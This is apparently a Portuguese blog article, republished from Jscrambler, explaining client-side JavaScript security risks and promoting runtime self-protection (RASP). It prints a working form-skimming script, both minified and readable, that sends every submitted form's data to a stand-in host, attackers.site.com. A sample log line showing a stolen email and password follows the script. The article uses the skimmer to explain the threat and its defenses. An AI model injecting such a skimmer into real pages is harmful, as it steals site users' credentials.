Existem vários recursos úteis em uma tecnologia que roda no lado do cliente, como o JavaScript. Foi isso que fez com que o JS se tornasse a linguagem de programação mais popular no mundo.

A linguagem apresenta muitas vantagens, sendo uma delas a capacidade de interpretação imediata. Isso traz benefícios, por exemplo, ele baixa o conteúdo uma vez que o navegador executa o código. Mas, usar essa linguagem tão flexível em aplicativos da web exige muita responsabilidade.

Neste artigo, nós gostaríamos de nos aprofundar nos riscos de segurança do JavaScript. Nele, falaremos apenas sobre o código front-end que é executado no navegador. Nós vamos focar em outros tipos em publicações futuras.

Imagine o que o navegador precisa fazer para executar um JavaScript. Primeiro, ele precisa baixar a página e começar a interpretar o código. O navegador não espera que tudo seja baixado. Ele tem a capacidade de baixar e interpretar a página simultaneamente. Então, o que acontece quando ele encontra algum arquivo JavaScript?

O JavaScript causa um bloqueio de renderização, e isso é uma enorme vantagem no momento da execução. Isso significa que o navegador irá parar a interpretação, executar o JavaScript primeiro, e depois prosseguir. Isso proporciona uma maior flexibilidade ao usar essa linguagem de programação e abre um leque de possibilidades.

Mas a questão é, quais são as implicações em se ter tais recursos?

Depuração e adulteração de código

Para ilustrar, imagine o seguinte trecho de código:

<div id="hack-target"></div>
<button>Set Value</button> 

<script>  
    document.querySelector('button').addEventListener('click', setValue);

    function setValue() {
        var value = '2';
        document.getElementById('hack-target').innerText = value;  
    }
</script>

Esse código declara um target em HTML e liga aos eventos. Quando você clica o botão, o callback é acionado.

Com o JavaScript no lado do cliente, é possível configurar um breakpoint bem onde o valor é definido. Esse breakpoint é atingido conforme o evento é acionado. O valor que é configurado por meio do var value = '2'; pode ser alterado à vontade. O depurador interrompe a execução e permite a página seja alterada. Essa capacidade é eminente e o navegador não levanta qualquer suspeita enquanto isso está acontecendo.

Como o depurador interrompe a execução, ele tem o poder de interromper a renderização de uma página também. A depuração é parte do conjunto de ferramentas dentro do navegador, então qualquer pessoa tem acesso a ela. Ela faz parte das ferramentas do desenvolvedor.

Para ver essa técnica em ação, dê uma olhada no Code Pen disponível. Abaixo, temos um screenshot desse recurso:

hack

Esse recurso é ótimo para depurar JavaScript, mas o que ele significa para a segurança?

Isso significa que uma pessoa mal intencionada pode alterar o JavaScript em tempo de execução. Ele pode atingir um breakpoint, alterar o DOM e colocar um JavaScript arbitrário no console. Esse tipo de ataque pode explorar vulnerabilidades no cliente. O invasor pode mudar os dados, sequestrar a sessão e fazer mudanças no JavaScript da página.

Com as ferramentas de desenvolvedor abertas, por exemplo, é possível ir até a aba do console e colocar:

document.querySelector('button').addEventListener('click', function () { alert('sacked'); });

Na próxima vez que o evento for acionado, ele irá disparar essa mudança no JavaScript.

Você consegue imaginar o perigo? Pense em algo que já aconteceu antes, o seu CDN é comprometido e o script jQuery que você está incluindo na sua página é modificado, adicionando o trecho de código abaixo:

!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new FormData(a.target);var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();

Provavelmente você não notou nenhuma modificação e basicamente a sua página vai estar distribuindo malware. Vamos olhar para a versão mais legível do mesmo trecho de código:

! function() {
    document.querySelectorAll("form").forEach(function(a) {
        a.addEventListener("submit", function(a) {
            var b;
            if (!a.target) return null;
            b = new FormData(a.target);
            var d = "";
            for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
            return (new Image).src = "https://attackers.site.com/?" + d.substring(1), !0
        })
    })
}();
  1. Para cada form na sua página,
  2. um evento submit é adicionado, de modo que quando acionado,
  3. os dados do formulário são coletados e reescritos usando o formato Query String
  4. que é então acrescentado ao novo recurso Image na URL fonte.

Ok, vamos tornar isso mais claro: Cada vez que um formulário é enviado, os mesmos dados são enviados para um servidor remoto (https://attackers.site.com/), solicitando o que parece ser uma imagem. Assim, o dono do domínio attackers.site.com receberá eu seu log:

79.251.209.237 - - [13/Mar/2017:15:26:14 +0100] "GET /?email=john.doe@somehost.com&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

Por que JavaScript?

A pergunta que você deve estar fazendo é, por que tudo isso funciona dessa forma? Quando o Netscape lançou o JavaScript em 1995, essa nova linguagem de programação se tornou a linguagem padrão da web.

O Netscape enviou seu modelo do JavaScript para a Ecma International e sua versão se tornou a padrão, mais conhecida como ECMAScript. Devido ao fato de o ECMAScript ser padronizado, qualquer navegador que suporta a linguagem deve cumprir com os padrões para que ele não cause conflitos quando o código for utilizado em outros navegadores. Isso significa que, se você escrever um script para o Google Chrome, ele também deve rodar no Opera, Netscape, Internet Explorer e Microsoft Edge. O JavaScript foi construído sob a ideia de flexibilidade. Ele tem toda a capacidade necessária para você fazer o que quiser com ele. A sua natureza dinâmica flui a partir desse princípio de design. Isso permitiu com que ele se tornasse, de fato, uma linguagem para o navegador.

Toda essa história nós já conhecemos, mas e a segurança do JavaScript?

Segurança no lado do cliente

Para proteger-se de códigos JavaScript maliciosos, a melhor opção é adicionar uma proteção de tempo de execução. A autoproteção de aplicativos de tempo de execução (em inglês, Runtime Application Self-Protection, ou RASP) protege o código do cliente durante a execução. Com a flexibilidade e dinâmica da web, vem a necessidade de segurança em tempo de execução, já que um invasor poderia alterar o código do JavaScript no lado do cliente facilmente.

O RASP é o nível de proteção mais efetivo para aplicativos do lado do cliente e pode ser resumido da seguinte forma:

A AUTOPROTEÇÃO DE APLICATIVOS EM TEMPO DE EXECUÇÃO (RASP) É UMA TECNOLOGIA DE SEGURANÇA QUE É DESENVOLVIDA OU LIGADA A UMA APLICAÇÃO OU AMBIENTE DE TEMPO DE EXECUÇÃO DE UMA APLICAÇÃO E É CAPAZ DE CONTROLAR A EXECUÇÃO DO APLICATIVO, DETECTANDO E PREVENINDO ATAQUES EM TEMPO REAL.

A JScrambler oferece uma solução RASP que protege aplicações contra ataques em tempo de execução. Ela pode tornar a aplicação autoprotegida e detectar alterações. As capacidades de autoproteção que ela oferece adicionam uma proteção ativa a aplicação JavaScript. A Jscrambler usa técnicas anti-debugging (anti depuração) e anti-tampering (anti adulteração) – conceitos de proteção de aplicações bem conhecidos, mais especificamente para a realidade e limitações do JavaScript. A anti depuração detecta o uso de ferramentas de depuração (como DevTools, Firebug) e tenta impedir a engenharia reversa de usá-las para depurar o app. Isso é feito por meio de armadilhas no código que fazem com que as ferramentas de depuração parem de funcionar e fazem a pilha de camadas crescer, impedindo o usuário de inspecionar o controle do fluxo do app. A função anti-adulteração detecta as mudanças e reage a elas. Por exemplo, se você adicionar ou remover um simples ponto e vírgula de uma função protegida, ela irá detectar essa alteração e fazer com que o código pare de funcionar. Essas técnicas juntas com a ofuscação do código fazem com que se torne inviável fazer uma alteração na aplicação.

Este artigo foi escrito originalmente pelos nossos parceiros da Jscrambler.

Autor(a)

Jaydson Gomes
85  Posts
Jaydson Gomes trabalha com tecnologia desde o início dos anos 2000 e é​ desenvolvedor de software especializado em JavaScript.
​É sócio fundador da Nasc e da ​BrazilJS e curador/idealizador da ​BrazilJS Conf, uma das maiores conferências do mundo sobre a linguagem JavaScript.
É editor da Newsletter BrazilJS Weekly e host do show BrazilJS Weekly no YouTube.
Jaydson também é autor e editor no portal BrazilJS e escreve em seu blog pessoal.
É um entusiasta open source e tem apresentado diversas palestras ao longo dos últimos anos, em sua grande maioria falando sobre JavaScript e tecnologias Web.